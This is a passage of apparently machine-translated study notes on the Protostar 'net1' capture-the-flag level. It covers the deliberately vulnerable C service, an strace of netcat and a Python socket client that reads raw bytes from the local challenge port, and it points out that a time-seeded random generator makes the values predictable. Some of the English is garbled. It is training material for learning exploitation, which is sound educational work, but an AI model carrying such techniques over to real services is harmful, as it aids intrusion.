0x28.
28. Socket programming in python and Integer Overflow - bin.0x1B
: The networking level of "protoostar" is not really relevant to security.
-> Therefore, it is good to do simple network programming first.
-> socket programming in python
-> prerequisite
-> TCP, sockets, ... episode bin 0x19 and 0x1A
-> And it is good to practice and solve the problem and complete the series.
: The same goes for these challenges.
: The previous two videos have written networking, sockets, TCP, and Python scripts to practice on this foundation.
-> Program over the Network
-> This is an important part of many issues, especially in the case of "CTF."
-> Interact with services through "TCP".
-> So the expansion you write has to do this over the network.
-> ex.) nc 210.61.2.51 5566
-> use netcat to interact with chall
: Now let's start with this level.
-> It does not address the meaning of all unknown functions.
-> You can see that level by viewing it in "define" or simply checking "netcat" in "VM."
-> su root
Password:(godmode)
-> netstat -plant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1097/portmap
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 1664/final2
tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN 1661/final1
tcp 0 0 0.0.0.0:2995 0.0.0.0:* LISTEN 1658/final0
tcp 0 0 0.0.0.0:2996 0.0.0.0:* LISTEN 1656/net3
tcp 0 0 0.0.0.0:2997 0.0.0.0:* LISTEN 1654/net2
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1794/sshd
tcp 0 0 0.0.0.0:2998 0.0.0.0:* LISTEN 1652/net1
tcp 0 0 0.0.0.0:2999 0.0.0.0:* LISTEN 6845/net0
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1638/exim4
tcp 0 0 0.0.0.0:51427 0.0.0.0:* LISTEN 1109/rpc.statd
tcp 0 52 192.168.70.130:22 192.168.70.1:49875 ESTABLISHED 7055/sshd: user [pr
tcp 0 0 192.168.70.130:22 192.168.70.1:49781 ESTABLISHED 6961/sshd: user [pr
tcp6 0 0 :::22 :::* LISTEN 1794/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1638/exim4
-> "net1" is running on port 2998.
-> nc 127.0.0.1 2998
▒▒PuTTY(Enter Key) # some raw (non-ascii) bytes.
you didn't send the data properly
-> Again, you can use "netcat" to talk to this service, but this time use Python scripts.
: But first, let's look at the execution function.
: C Code(/opt/protostar/bin/net1)
#include "../common/common.c"
#define NAME "net1"
#define UID 998
#define GID 998
#define PORT 2998
void run()
{
char buf[12];
char fub[12];
char *q;
unsigned int wanted;
wanted = random();
sprintf(fub, "%d", wanted);
if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) {
errx(1, ":(\n");
}
if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
errx(1, ":(\n");
}
q = strchr(buf, '\r'); if(q) *q = 0; # find posistion of that char and write 0 in its place.
q = strchr(buf, '\n'); if(q) *q = 0;
if(strcmp(fub, buf) == 0) {
printf("you correctly sent the data\n");
} else {
printf("you didn't send the data properly\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
-> The first run creates any unsigned integer and then "sprintf" the number to "fub".
-> We haven't seen "sprintf" before. In addition to the typical "printf" output of the results,
-> The string "sprintf" as the standard output records the result string as the first address specified.
-> In this case, the argument is "fub".
-> This means that "fub" includes decimal expressions of numbers as "ASCII."
-> fub = “1234”
-> Does not include raw byte values.
-> Then write will write to the socket, thus sending us the integer number, thus the raw bytes.
-> It saw us come back by "netcat."
-> ▒▒PuTTY # some raw (non-ascii) bytes.
-> After that, the program will wait for user input with fread.
-> When data is sent, the opening or carriage return is overwritten with "null byte".
-> For example, because we use "netcat" and press "Enter" to send something, it includes a line at the end because it is the key we pressed.
-> But apparently, the program only wants the text that it actually wants to send.
-> It then compares the original number with the number received and outputs a string of successful characters.
-> Or string to the output they've failed.
: Let's write a Python script.
-> The first hint on how to perform network programming is to see how "netcat" is connected.
-> Therefore, use "strace" to track all "syscalls" in "netcat".
(Track) -> strace 127.0.0.1 2998
▒▒PuTTY
you didn't send the data properly
root@protostar:/opt/protostar/bin# st
root@protostar:/opt/protostar/bin# strace nc 127.0.0.1 2998
execve("/bin/nc", ["nc", "127.0.0.1", "2998"], [/* 15 vars */]) = 0
brk(0) = 0x804e000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0
mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320m\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1319176, ...}) = 0
mmap2(NULL, 1329480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e97000
mprotect(0xb7fd5000, 4096, PROT_NONE) = 0
mmap2(0xb7fd6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13e) = 0xb7fd6000
mmap2(0xb7fd9000, 10568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd9000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e96000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e966c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fd6000, 8192, PROT_READ) = 0
mprotect(0xb7ffe000, 4096, PROT_READ) = 0
munmap(0xb7fdc000, 13796) = 0
getpid() = 7318
brk(0) = 0x804e000
brk(0x806f000) = 0x806f000
open("/etc/resolv.conf", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=62, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(3, "domain localdomain\nsearch locald"..., 4096) = 62
read(3, "", 4096) = 0
close(3) = 0
munmap(0xb7fdf000, 4096) = 0
rt_sigaction(SIGINT, {0x8049a60, [INT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {0x8049a60, [QUIT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {0x8049a60, [TERM], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGURG, {SIG_IGN, [URG], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGPIPE, {SIG_IGN, [PIPE], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
open("/etc/nsswitch.conf", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=475, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 1024) = 475
read(3, "", 1024) = 0
close(3) = 0
munmap(0xb7fdf000, 4096) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0
mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/tls/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/tls", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib", {st_mode=S_IFDIR|0755, st_size=2962, ...}) = 0
open("/usr/lib/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/tls", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i686/cmov", {st_mode=S_IFDIR|0755, st_size=64, ...}) = 0
open("/usr/lib/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i686", {st_mode=S_IFDIR|0755, st_size=27, ...}) = 0
open("/usr/lib/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/sse2", {st_mode=S_IFDIR|0755, st_size=65, ...}) = 0
open("/usr/lib/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib", {st_mode=S_IFDIR|0755, st_size=6531, ...}) = 0
open("/lib/i486-linux-gnu/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/tls/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/tls", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/lib/i486-linux-gnu/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/lib/i486-linux-gnu", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/tls/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/tls", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/i686/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/i686/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/i686/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/i686", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/sse2/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/sse2", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu/cmov", 0xbffff038) = -1 ENOENT (No such file or directory)
open("/usr/lib/i486-linux-gnu/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/usr/lib/i486-linux-gnu", 0xbffff038) = -1 ENOENT (No such file or directory)
munmap(0xb7fdc000, 13796) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0
mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libnss_files.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \32\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=42572, ...}) = 0
mmap2(NULL, 45772, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e8a000
mmap2(0xb7e94000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x9) = 0xb7e94000
close(3) = 0
mprotect(0xb7e94000, 4096, PROT_READ) = 0
munmap(0xb7fdc000, 13796) = 0
open("/etc/services", O_RDONLY|O_CLOEXEC) = 3
fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)
fstat64(3, {st_mode=S_IFREG|0644, st_size=19666, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(3, "# Network services, Internet sty"..., 1024) = 1024
read(3, "ocol\nssh\t\t22/udp\ntelnet\t\t23/tcp\n"..., 1024) = 1024
read(3, "com\t\t# Digital Imag. & Comm. 300"..., 1024) = 1024
read(3, "\timap\nsnmp\t\t161/tcp\t\t\t\t# Simple "..., 1024) = 1024
read(3, "9/tcp\t\t\t\t# Quick Mail Transfer P"..., 1024) = 1024
read(3, "tcp\t\t\t\t# Microsoft Naked CIFS\nmi"..., 1024) = 1024
read(3, "routed\t# RIP\ntimed\t\t525/udp\t\ttim"..., 1024) = 1024
read(3, "\t\t\t# FTP over SSL (data)\nftps\t\t9"..., 1024) = 1024
read(3, "4/udp\nrmiregistry\t1099/tcp\t\t\t# J"..., 1024) = 1024
read(3, "# Cisco SCCP\ncisco-sccp\t2000/udp"..., 1024) = 1024
read(3, "\t# Internet Cache Protocol\nicpv2"..., 1024) = 1024
read(3, "cc\t\t5050/udp\nsip\t\t5060/tcp\t\t\t# S"..., 1024) = 1024
read(3, "vc\t6346/udp\ngnutella-rtr\t6347/tc"..., 1024) = 1024
read(3, "rmtsys\t7009/tcp\t\t\t# remote cache"..., 1024) = 1024
read(3, "cp\t\t\t# BP Java MSVC Protocol\nbpj"..., 1024) = 1024
read(3, "eros4\t750/tcp\t\tkerberos-iv kdc\nk"..., 1024) = 1024
read(3, "/tcp\t\tsmtps\t\t# SMTP over SSL\nmoi"..., 1024) = 1024
read(3, "cp\t\t\t# OSPF-API\nisisd\t\t2608/tcp\t"..., 1024) = 1024
read(3, "hat\nzope-ftp\t8021/tcp\t\t\t# zope m"..., 1024) = 1024
read(3, "374/udp\ncsync2\t\t30865/tcp\t\t\t# cl"..., 1024) = 210
read(3, "", 1024) = 0
close(3) = 0
munmap(0xb7fdf000, 4096) = 0
open("/etc/services", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19666, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(3, "# Network services, Internet sty"..., 1024) = 1024
read(3, "ocol\nssh\t\t22/udp\ntelnet\t\t23/tcp\n"..., 1024) = 1024
read(3, "com\t\t# Digital Imag. & Comm. 300"..., 1024) = 1024
read(3, "\timap\nsnmp\t\t161/tcp\t\t\t\t# Simple "..., 1024) = 1024
read(3, "9/tcp\t\t\t\t# Quick Mail Transfer P"..., 1024) = 1024
read(3, "tcp\t\t\t\t# Microsoft Naked CIFS\nmi"..., 1024) = 1024
read(3, "routed\t# RIP\ntimed\t\t525/udp\t\ttim"..., 1024) = 1024
read(3, "\t\t\t# FTP over SSL (data)\nftps\t\t9"..., 1024) = 1024
read(3, "4/udp\nrmiregistry\t1099/tcp\t\t\t# J"..., 1024) = 1024
read(3, "# Cisco SCCP\ncisco-sccp\t2000/udp"..., 1024) = 1024
read(3, "\t# Internet Cache Protocol\nicpv2"..., 1024) = 1024
read(3, "cc\t\t5050/udp\nsip\t\t5060/tcp\t\t\t# S"..., 1024) = 1024
read(3, "vc\t6346/udp\ngnutella-rtr\t6347/tc"..., 1024) = 1024
read(3, "rmtsys\t7009/tcp\t\t\t# remote cache"..., 1024) = 1024
read(3, "cp\t\t\t# BP Java MSVC Protocol\nbpj"..., 1024) = 1024
read(3, "eros4\t750/tcp\t\tkerberos-iv kdc\nk"..., 1024) = 1024
read(3, "/tcp\t\tsmtps\t\t# SMTP over SSL\nmoi"..., 1024) = 1024
read(3, "cp\t\t\t# OSPF-API\nisisd\t\t2608/tcp\t"..., 1024) = 1024
read(3, "hat\nzope-ftp\t8021/tcp\t\t\t# zope m"..., 1024) = 1024
read(3, "374/udp\ncsync2\t\t30865/tcp\t\t\t# cl"..., 1024) = 210
read(3, "", 1024) = 0
close(3) = 0
munmap(0xb7fdf000, 4096) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
rt_sigaction(SIGALRM, {SIG_IGN, [ALRM], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0
alarm(0) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(2998), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
rt_sigaction(SIGALRM, {SIG_IGN, [ALRM], SA_RESTART}, {SIG_IGN, [ALRM], SA_RESTART}, 8) = 0
alarm(0) = 0
select(4, [0 3], NULL, NULL, NULL) = 1 (in [3])
read(3, "G\306\375*", 8192) = 4
write(1, "G\306\375*", 4G▒▒*) = 4
select(4, [0 3], NULL, NULL, NULL
: Now let's find the important things. And let's put them into Python.
-> The first is obviously a call to the socket, so look at the Python Socket document.
-> # Echo client program
import socket
HOST = 'daring.cwi.nl' # The remote host
PORT = 50007 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('Hello, world')
data = s.recv(1024)
s.close()
print 'Received', repr(data)
-> It describes how to perform a script or script.
-> The calls to the socket use the parameters "PF_INET" and "SOCK_STREAM" and we can see very similar things in Python documents when we look here.
-> To begin with, it is recommended to use "AF_INET".
-> So what is the difference between "PF" and "AF"?
-> "PF_INET" and "AF_INET" are now defined in the Linux kernel.
-> And Python document is connected to the host name using the "connect" or "ip" and “port”.
(Python) -> vim net1
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2998
s.connect((HOST, PORT))
n = s.recv(4)
print n
print repr(n)
print n.encode('hex')
-> We can see "port" and "address" in "strace."
-> Called here at port "2998", IP address "127.0.0.1".
-> So we can also use it.
-> Now you can send and receive with this socket.
-> Obviously we use "recv" to read the numbers sent to us but specify the amount of data we read.
-> In this case we expect an unsigned integer, which is 32bit large, thus we have to read
-> unsigned int is 32 bit = 4 bytes
: Now let's print out the data we received and then test it.
-> python net1.py
▒b7F
'\xacb7F'
ac623746
-> Also, when we request new numbers very quickly, many are output at some point the same but random.
-> python net1.py
徤S
'\xe5\xbe\xa4S'
e5bea453
-> python net1.py
徤S
'\xe5\xbe\xa4S'
e5bea453
-> python net1.py
▒J2A
'\xdbJ2A'
db4a3241
-> python net1.py
▒J2A
'\xdbJ2A'
db4a3241
-> This is because the random number generator in the code is seeded in seconds.
-> Therefore, if we send fast enough, the second is the same, so the same doctor is created.
-> Do not use non-random sources as seeds for pseudo-random number generators.
-> We can easily solve it because we already have a lot of experience with conversion.
-> Numerals are converted to raw bytes, and raw bytes are converted to numbers for all exploits with memory values.
